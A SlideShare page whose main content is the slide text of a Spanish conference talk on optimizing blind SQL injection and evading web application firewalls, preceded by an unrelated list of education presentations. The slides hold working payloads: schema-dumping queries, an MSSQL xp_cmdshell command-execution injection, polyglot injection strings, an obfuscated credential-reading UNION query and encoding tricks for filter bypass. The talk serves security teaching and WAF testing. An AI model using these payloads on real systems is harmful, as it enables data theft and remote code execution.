ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptxzulyvero07
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.José Luis Palma
 
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOS
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOSTEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOS
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOSjlorentemartos
 
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFAROJosé Luis Palma
 
Historia y técnica del collage en el arte
Historia y técnica del collage en el arteHistoria y técnica del collage en el arte
Historia y técnica del collage en el arteRaquel Martín Contreras
 
Dinámica florecillas a María en el mes d
Dinámica florecillas a María en el mes dDinámica florecillas a María en el mes d
Dinámica florecillas a María en el mes dstEphaniiie
 
MAYO 1 PROYECTO día de la madre el amor más grande
MAYO 1 PROYECTO día de la madre el amor más grandeMAYO 1 PROYECTO día de la madre el amor más grande
MAYO 1 PROYECTO día de la madre el amor más grandeMarjorie Burga
 
texto argumentativo, ejemplos y ejercicios prácticos
texto argumentativo, ejemplos y ejercicios prácticostexto argumentativo, ejemplos y ejercicios prácticos
texto argumentativo, ejemplos y ejercicios prácticosisabeltrejoros
 
30-de-abril-plebiscito-1902_240420_104511.pdf
30-de-abril-plebiscito-1902_240420_104511.pdf30-de-abril-plebiscito-1902_240420_104511.pdf
30-de-abril-plebiscito-1902_240420_104511.pdfgimenanahuel
 
La triple Naturaleza del Hombre estudio.
La triple Naturaleza del Hombre estudio.La triple Naturaleza del Hombre estudio.
La triple Naturaleza del Hombre estudio.amayarogel
 
Estrategia de prompts, primeras ideas para su construcción
Estrategia de prompts, primeras ideas para su construcciónEstrategia de prompts, primeras ideas para su construcción
Estrategia de prompts, primeras ideas para su construcciónLourdes Feria
 
RETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxRETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxAna Fernandez
 
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptx
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptxEXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptx
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptxPryhaSalam
 
Neurociencias para Educadores NE24 Ccesa007.pdf
Neurociencias para Educadores  NE24  Ccesa007.pdfNeurociencias para Educadores  NE24  Ccesa007.pdf
Neurociencias para Educadores NE24 Ccesa007.pdfDemetrio Ccesa Rayme
 
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptx
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptxTIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptx
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptxlclcarmen
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxjosetrinidadchavez
 
Registro Auxiliar - Primaria 2024 (1).pptx
Registro Auxiliar - Primaria  2024 (1).pptxRegistro Auxiliar - Primaria  2024 (1).pptx
Registro Auxiliar - Primaria 2024 (1).pptxFelicitasAsuncionDia
 

Último (20)

ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...
ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...
ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...
 
ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptx
ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptxACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptx
ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptx
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.
 
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOS
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOSTEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOS
TEMA 13 ESPAÑA EN DEMOCRACIA:DISTINTOS GOBIERNOS
 
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
 
Historia y técnica del collage en el arte
Historia y técnica del collage en el arteHistoria y técnica del collage en el arte
Historia y técnica del collage en el arte
 
Dinámica florecillas a María en el mes d
Dinámica florecillas a María en el mes dDinámica florecillas a María en el mes d
Dinámica florecillas a María en el mes d
 
MAYO 1 PROYECTO día de la madre el amor más grande
MAYO 1 PROYECTO día de la madre el amor más grandeMAYO 1 PROYECTO día de la madre el amor más grande
MAYO 1 PROYECTO día de la madre el amor más grande
 
Power Point: "Defendamos la verdad".pptx
Power Point: "Defendamos la verdad".pptxPower Point: "Defendamos la verdad".pptx
Power Point: "Defendamos la verdad".pptx
 
texto argumentativo, ejemplos y ejercicios prácticos
texto argumentativo, ejemplos y ejercicios prácticostexto argumentativo, ejemplos y ejercicios prácticos
texto argumentativo, ejemplos y ejercicios prácticos
 
30-de-abril-plebiscito-1902_240420_104511.pdf
30-de-abril-plebiscito-1902_240420_104511.pdf30-de-abril-plebiscito-1902_240420_104511.pdf
30-de-abril-plebiscito-1902_240420_104511.pdf
 
La triple Naturaleza del Hombre estudio.
La triple Naturaleza del Hombre estudio.La triple Naturaleza del Hombre estudio.
La triple Naturaleza del Hombre estudio.
 
Estrategia de prompts, primeras ideas para su construcción
Estrategia de prompts, primeras ideas para su construcciónEstrategia de prompts, primeras ideas para su construcción
Estrategia de prompts, primeras ideas para su construcción
 
RETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxRETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docx
 
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptx
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptxEXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptx
EXPANSIÓN ECONÓMICA DE OCCIDENTE LEÓN.pptx
 
Neurociencias para Educadores NE24 Ccesa007.pdf
Neurociencias para Educadores  NE24  Ccesa007.pdfNeurociencias para Educadores  NE24  Ccesa007.pdf
Neurociencias para Educadores NE24 Ccesa007.pdf
 
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptx
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptxTIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptx
TIPOLOGÍA TEXTUAL- EXPOSICIÓN Y ARGUMENTACIÓN.pptx
 
Presentacion Metodología de Enseñanza Multigrado
Presentacion Metodología de Enseñanza MultigradoPresentacion Metodología de Enseñanza Multigrado
Presentacion Metodología de Enseñanza Multigrado
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
 
Registro Auxiliar - Primaria 2024 (1).pptx
Registro Auxiliar - Primaria  2024 (1).pptxRegistro Auxiliar - Primaria  2024 (1).pptx
Registro Auxiliar - Primaria 2024 (1).pptx
 

Nuevas tecnicas de optimización y ofuscacion

  • 2. Indicé Optimización •Reducir el numero de peticiones •Reducir el tamaño de las peticiones Ofuscación •Retos de SQLi •Evadir Firewalls •Diversión con codificaciones Leapfrog •SQLi •LFI •XSS
  • 3. Exploits de una mama Como prevenir Inyecciones de SQL? http://www.bobby-tables.com http://xkcd.com/327/
  • 5. • Por que nos importa? OPTIMIZACION Intro http://xkcd.com/85/
  • 6. Análisis de métodos •Bisección •Bitwise •Regex •Binario a posición (Bin2Pos) OPTIMIZACION Inyección de SQL a Ciegas
  • 7. Recordatorio •Solo podemos obtener 1 carácter a la vez •Testeamos si tenemos el carácter correcto con respuestas “True” o “False” Ejemplo •SELECT * FROM users WHERE id=1 AND 1=1 •SELECT * FROM users WHERE id=1 AND 1=2 OPTIMIZACION Inyección de SQL a Ciegas
  • 9. OPTIMIZACION Tabla ASCII Cada character ASCII puede ser representado con 1 byte o 8 bits Caracter a Binario (base 2) 01100001 Octal (base 8) 141 Decimal (base 10) 97 Hexadecimal (base 16) 61
  • 10. El octavo bit del carácter ASCII que nos interesa siempre será 0 OPTIMIZACION Tabla ASCII Decimal Hexadecimal Binario 0 00 00000000 127 7F 01111111 255 FF 11111111 El rango ASCII que nos interesa Decimal Hexadecimal Binario 0 00 00000000 127 7F 01111111
  • 11. • Algoritmo de búsqueda binaria • ASCII rango 32 – 126 • Se divide la mitad: (32 + 126) / 2 = 79 • El valor es mayor o menor? • Se divide la mitad nuevamente y se repite el proceso OPTIMIZACION Método Bisección
  • 12. a = 97 decimal OPTIMIZACION Método Bisección 97 entre 79 y 126 True (32 + 126) / 2 = 79 97 entre 79 y 103 True (79 + 126) / 2 = 102.5 97 entre 79 y 91 False (79 + 103) / 2 = 91 97 entre 91 y 103 True (91 + 103) / 2 = 97 97 entre 91 y 97 True (91 + 97) / 2 = 95 97 entre 91 y 95 False (95 + 97) / 2 = 96 97 entre 95 y 97 True 97 != 96 97 == 97
  • 13. • Cada carácter ASCII puede ser representado en 1 byte o 8 bits • El octavo bit del rango ASCII de los caracteres que nos interesa siempre es 0 • El numero de peticiones siempre será 7 OPTIMIZACION Métodos Bitwise
  • 14. OPTIMIZACION Métodos Bitwise 01100001 >> 7 00000000 0 01100001 >> 6 00000001 1 01100001 >> 5 00000011 3 01100001 >> 4 00000110 6 01100001 >> 3 00001100 12 01100001 >> 2 00011000 24 01100001 >> 1 00110000 48 01100001 >> 0 01100001 97 "Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de Hen
  • 15. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 (97 >> 7) = 0 1 o 0 1 (97 >> 6) = 0 1 o 0 0 (97 >> 5) = 2 010 o 011 0 (97 >> 4) = 6 0110 o 0111 1 "Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de Hen
  • 16. OPTIMIZACION Métodos Bitwise "Faster Blind MySQL Injection Using Bit Shifting" - Por Jelmer de Hen Pros: •La cantidad de peticiones es consistente Contras: •Siempre usa 7 peticiones •Implementacion rara •No soporta hilos
  • 17. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 substr(bin(97>>7),-1,1) 1 o 0 0 substr(bin(97>>6),-1,1) 1 o 0 1 substr(bin(97>>5),-1,1) 1 o 0 1 substr(bin(97>>4),-1,1) 1 o 0 0 "Faster Blind MySQL Injection Using Bit Shifting" – Mi variacion
  • 18. OPTIMIZACION Métodos Bitwise "Faster Blind MySQL Injection Using Bit Shifting" – Mi variacion Pros: •La cantidad de peticiones es consistente •Hilos Contras: •Siempre usa 7 peticiones
  • 19. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 97 & 1 00000001 97 & 2 00000010 97 & 4 00000100 97 & 8 00001000 "Bit ANDing" - Por Ruben Ventura
  • 20. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 97 & 1 00000001 1 97 & 2 00000010 97 & 4 00000100 97 & 8 00001000 "Bit ANDing" - Por Ruben Ventura
  • 21. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 97 & 1 00000001 1 97 & 2 00000010 0 97 & 4 00000100 97 & 8 00001000 "Bit ANDing" - Por Ruben Ventura
  • 22. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 97 & 1 00000001 1 97 & 2 00000010 0 97 & 4 00000100 0 97 & 8 00001000 "Bit ANDing" - Por Ruben Ventura
  • 23. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 97 & 1 00000001 1 97 & 2 00000010 0 97 & 4 00000100 0 97 & 8 00001000 0 "Bit ANDing" - Por Ruben Ventura
  • 24. "Bit ANDing" - Por Ruben Ventura OPTIMIZACION Métodos Bitwise Pros: •La cantidad de peticiones es consistente •Hilos Contras: •Siempre usa 7 peticiones
  • 25. OPTIMIZACION Métodos Bitwise a = 97 dec = 01100001 substr(bin(97),1,1) 1100001 1 substr(bin(97),2,1) 1100001 1 substr(bin(97),3,1) 1100001 0 substr(bin(97),4,1) 1100001 0 "Bit Substringing" - Por Keith Makan
  • 26. "Bit Substringing" - Por Keith Makan OPTIMIZACION Métodos Bitwise Pros: •La cantidad de peticiones es consistente •Hilos Contras: •Siempre usa 7 peticiones
  • 27. “Regex method” - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini OPTIMIZACION Método Regex REGEXP '^[a-z]' True REGEXP '^[a-n]' True REGEXP '^[a-g]' False REGEXP '^[h-n]' True REGEXP '^[h-l]' False
  • 28. “Regex method” - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini OPTIMIZACION Método Regex Pros: •No se tiene que convertir a decimal Contras: •Requiere comillas
  • 29. • Requiere una lista de los caracteres posibles (32 – 126 decimal) • Entre mas cerca este el carácter al inicio de la lista, menos cantidad de peticiones son requeridas • Podemos ordenar la lista de caracteres por las letras mas frecuentes del idioma OPTIMIZACION Método Bin2Pos
  • 30. • Relacionar el carácter con su posición en la lista • Convertir esta posición a binario • Hemos reducido la cantidad de caracteres a buscar a 2 (0 y 1) OPTIMIZACION Método Bin2Pos
  • 31. • Nuestra lista (sin mayúsculas) – abcdefghijklmnopqrstuvwxyz _0123456789,.<>/?;:'"[{]}|=+-)(*&^ %$#@!`~ • Lista hexadecimal – 0123456789ABCDEF • La lista mas grande tiene 94 caracteres – BIN(1) = 1 – BIN(94) = 1011110 OPTIMIZACION Método Bin2Pos
  • 32. OPTIMIZACION Método Bin2Pos IF((@a:=MID(BIN(POSITION(MID((SEL ECT password from users where id=2 LIMIT 1),1,1)IN CHAR(48,49,50,51,52,53,54,55,56,5 7,65,66,67,68,69,70))),1,1))! =space(0),2-@a,0/0)
  • 34. OPTIMIZACION Método Bin2Pos • “C” es la 3era posición en la lista, que equivale a 11 en binario • El 11 tiene 6 ceros a su izquierda: 00000011 • Nuestra petición empieza con el primer 1 • Por lo mismo, el primer numero siempre será 1
  • 35. OPTIMIZACION Método Bin2Pos Obteniendo 11 •Sabemos que el primer digito es 1 •No requiere petición •El segundo digito es 1? •Si •El tercer digito es 1? •No, el tercer digito no existe •Numero total de peticiones para “C”: 2
  • 36. OPTIMIZACION Método Bin2Pos Pros: •Muy pocas peticiones •No es fácil de entender Contras: •Requieres 2 paginas diferentes •Entre mas grande la lista, mas peticiones son requeridas
  • 40. Obtener todas las bases de datos, tablas y columnas con solo una petición OPTIMIZANDO CONSULTAS MySQL
  • 41. SELECT (@) FROM (SELECT(@:=0x00), (SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x OPTIMIZANDO CONSULTAS MySQL
  • 42. Una consulta para ejecución de código remota •Checa si xp_cmdshell esta cargado •Si esta cargado, checa si esta activo •Corre el comando 'dir' y guarda el resultado en la tabla TMP_DB OPTIMIZANDO CONSULTAS MSSQL
  • 43. ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB-- OPTIMIZANDO CONSULTAS MSSQL
  • 44. • Las pruebas pueden llegar a ser tedioso • Inyecciones de SQL pueden usar comillas, comillas dobles o no tener comillas • 400+ parámetros por modulo?!?! OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea
  • 45. Mínimo 3 pruebas diferentes por parámetro: •OR 1=1 •OR '1'='1 •OR “1”=“1 OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea
  • 46. Que tal si los fusionamos? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - OR 1#"OR"'OR''='"="'OR''='
  • 47. Que tal si los fusionamos? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - OR 1#"OR"'OR''='"="'OR''=' • Sin comillas
  • 48. Que tal si los fusionamos? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - OR 1#"OR"'OR''='"="'OR''=' • Sin comillas • Doble comillas
  • 49. Que tal si los fusionamos? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - OR 1#"OR"'OR''='"="'OR''=' • Sin comillas • Doble comillas • Comillas simples
  • 50. Que tal AND? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - !=0--+"!="'!='
  • 51. Que tal AND? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - !=0--+"!="'!=' • Sin comillas
  • 52. Que tal AND? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - !=0--+"!="'!=' • Sin comillas • Doble comillas
  • 53. Que tal AND? OPTIMIZANDO CONSULTAS Mas Consultas de 1 Línea - !=0--+"!="'!=' • Sin comillas • Doble comillas • Comillas simples
  • 57. OFUSCACION Como Confundir al Admin UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE like TruE||FalSE union/*! 98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)like'admin'limi t 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION SeleCt(selEct(sELecT/*! 67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM information_schema.statistics WhERE TABLe_SCHEmA In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select (collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi( )),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351, ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F5 3)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),! ! true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-- ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))- floor(pi()))),0x6d7973716c))from(select--(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*! $*/from(select+3.``)000oOOO0Oo0OOooOooOoO00Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*! 76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLE CT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
  • 59. EVADIENDO FIREWALLS Tips Generales • Simple casi siempre es mejor • Lea la documentación para el comportamiento inesperado y rarezas • Aprende de que es capaz el sistema de base de datos y lo que puede manejar
  • 60. OFUSCACION Fuzzer Sencillo en PHP <?php $link = mysql_connect('localhost', 'root', ''); for($i=0; $i<=255; $i++) { $query = mysql_query("SELECT 1 FROM dual WHERE 1" . chr($i) . "=1"); if(!$query) { continue; } echo $i . ':0x' . dechex($i) . ':' . chr($i) . '<br>'; } ?>
  • 62. OFUSCACION Espacios Validos SQLite3 - 0A, 0D, 0C, 09, 20 MySQL - 09, 0A, 0B, 0C, 0D, A0, 20 MSSQL - 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25
  • 63. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN TRUE THEN TRUE END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 64. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN TRUE THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 65. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 66. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN (SELECT TRUE FROM dual) THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 67. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN (SELECT TRUE FROM dual) THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 68. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN (SELECT TRUE FROM`dual`) THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 69. EVADIENDO FIREWALLS Tips Generales • No empieces con algo complicado y obvio • Mejor mantenlo simple – CASE WHEN (SELECT(TRUE)FROM`dual`) THEN TRUE ELSE 1 END - UNION SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES
  • 70. EVADIENDO FIREWALLS Retos de SQLi Modsecurity http://www.modsecurity.org/testphp.vulnweb.c om/artists.php?artist=-2%20div%201%20union %20all%23in%0A%23between%20comments %0A23in%0A%23between%20comments%0A %0Aselect%200x00,%200x41%20like/*! 31337table_name*/,3%20from %20information_schema.tables%20limit%201
  • 71. EVADIENDO FIREWALLS Codificaciones • URL encode • Double URL encode • Unicode encode • Short UTF8 • Long UTF8 • First Nibble • Second Nibble • Double Nibble • Invalid Hex
  • 72. EVADIENDO FIREWALLS – Codificaciones URL Encode • URL Encoding se usa para transformar caracteres “especiales” para que se puedan mandar por HTTP • Los caracteres son transformados en su equivalente hexadecimal, con el % (signo de porcentaje) de prefijo • a = %61
  • 73. EVADIENDO FIREWALLS – Codificaciones Double URL Encode • Double URL encode es el proceso de re- codificar el % (signo de porcentaje) • a = %61 • %61 = %2561
  • 74. EVADIENDO FIREWALLS – Codificaciones URL Encode / Firewalls Debiles Descripcion del tamper script “charencode” de SQLMAP que se usa para codificar la peticion como URL encode: “Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset”
  • 75. EVADIENDO FIREWALLS – Codificaciones Nibble • Un nibble son 4 bits • Un nibble representa medio caracter hexadecimal (2^4 = 16) • Dos nibbles o un octet, representa un caracter hexadecimal
  • 76. EVADIENDO FIREWALLS – Codificaciones Nibble Hex Decimal Octal Binary 0 0 0 0000 1 1 1 0001 2 2 2 0010 3 3 3 0011 4 4 4 0100 5 5 5 0101 6 6 6 0110 7 7 7 0111 8 8 10 1000 9 9 11 1001 A 10 12 1010 B 11 13 1011 C 12 14 1100 D 13 15 1101 E 14 16 1110 F 15 17 1111
  • 77. EVADIENDO FIREWALLS – Codificaciones First Nibble • Los primeros 4 bits son URL encoded • “a” = %61 • 6 = %36 • %%361
  • 78. EVADIENDO FIREWALLS – Codificaciones Second Nibble • Los segundos 4 bits son URL encoded • “a” = %61 • 1 = %31 • %6%31
  • 79. EVADIENDO FIREWALLS – Codificaciones Double Nibble • Es una combinacion de “first nibble” + “second nibble” encoding • “a” = %61 • 6 = 36 • 1 = %31 • %%36%31
  • 80. EVADIENDO FIREWALLS – Codificaciones Hex Invalido • Se trata de crear hex invalido que resulta en el mismo valor decimal que hex valido • “a” = %61 • %61 = 6 * 16 + 1 = 97 • %2Ú = 2 * 16 + 65 = 97 • %2Ú es lo mismo que %61
  • 81. EVADIENDO FIREWALLS – Codificaciones Invalid Hex Decimal Hex Valido Hex Invalido 10 0A 0A 11 0B 0B 12 0C 0C 13 0D 0D 14 0E 0E 15 0F 0F 16 10 0G 17 11 0H
  • 83. RAREZAS DE PHP Espacios <?php if(preg_match("/^.+$/", $_GET["t"])) { Bloque peticion maliciosa... } ?> ?t=1 AND 1=1 BLOQUEADO ?t=1 AND 1=1%20 ?t=1 AND 1=1%A0 ?t=1 AND 1=1%0D,%0C,%0B ?t=1 AND 1=1%0A%20 BLOQUEADO BLOQUEADO BLOQUEADO PERMITIDO
  • 84. RAREZAS DE PHP Espacios <?php if(preg_match("/s+/", $_GET["t"])) { Bloque peticion maliciosa... } ?> • En algunas configuraciones el NBSP es detectado como un espacio, en otras configuraciones no lo es
  • 86. • Una herramienta diseñada para mejorar las reglas del Firewall • Busca bypases para diferentes ataques web (SQLi, XSS, LFI, Filtros de contenido) • Crea todo sus vectores dinámicamente • Proporciona recomendaciones al encontrar un bypass • Genera una calificación basada en la cantidad de vectores permitidos LEAPFROG Que es?
  • 87. • WAF Acceptance Factor es la calificación que genera basado en los vectores permitidos LEAPFROG WAF Acceptance Factor
  • 88. • Wife Acceptance Factor tomado de: http://en.wikipedia.org/wiki/Wife_acceptance_factor LEAPFROG Wife Acceptance Factor

Notas do Editor

  1. Ok, no explicare esto ahora que me tomaria toda la conferencia Esta inyeccion de SQLi sirve para confundir al admin Lo puede correr si se atreve Ofuscacion es una de las formas principals para evadir la deteccion de firewalls Si podemos esconder nuestro ataque y hacer que el firewall piense que es información valida, podemos evadir la detección del firewall y hacer que nuestro ataque pase sin ser bloqueado